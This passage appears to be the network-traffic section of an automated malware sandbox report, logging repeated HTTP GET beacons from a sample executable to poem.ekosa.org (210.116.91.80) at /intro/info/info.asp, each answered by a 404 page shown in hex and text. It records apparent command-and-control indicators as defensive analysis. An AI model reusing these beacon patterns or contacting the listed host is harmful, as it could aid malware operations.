3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.4	49952	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:36.969227076 CET	5194	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:37.230433941 CET	5195	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:37 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.4	49953	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:37.518347025 CET	5196	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:37.779186964 CET	5196	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:37 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.4	49954	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:38.169698954 CET	5197	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:38.439538956 CET	5197	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:38 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.4	49955	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:38.710355997 CET	5198	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:38.972512007 CET	5199	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:38 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.4	49956	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:39.254369020 CET	5199	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:39.526974916 CET	5200	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.4	49957	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:39.907459021 CET	5201	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:40.168960094 CET	5201	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.4	49958	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:40.446316004 CET	5202	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:40.711049080 CET	5203	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:40 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.4	49959	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:40.981667042 CET	5204	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:41.243006945 CET	5204	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:40 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49782	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:07.077856064 CET	387	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:07.339922905 CET	387	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.4	49960	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:41.634579897 CET	5205	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:41.895843029 CET	5206	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.4	49961	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:42.165972948 CET	5206	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
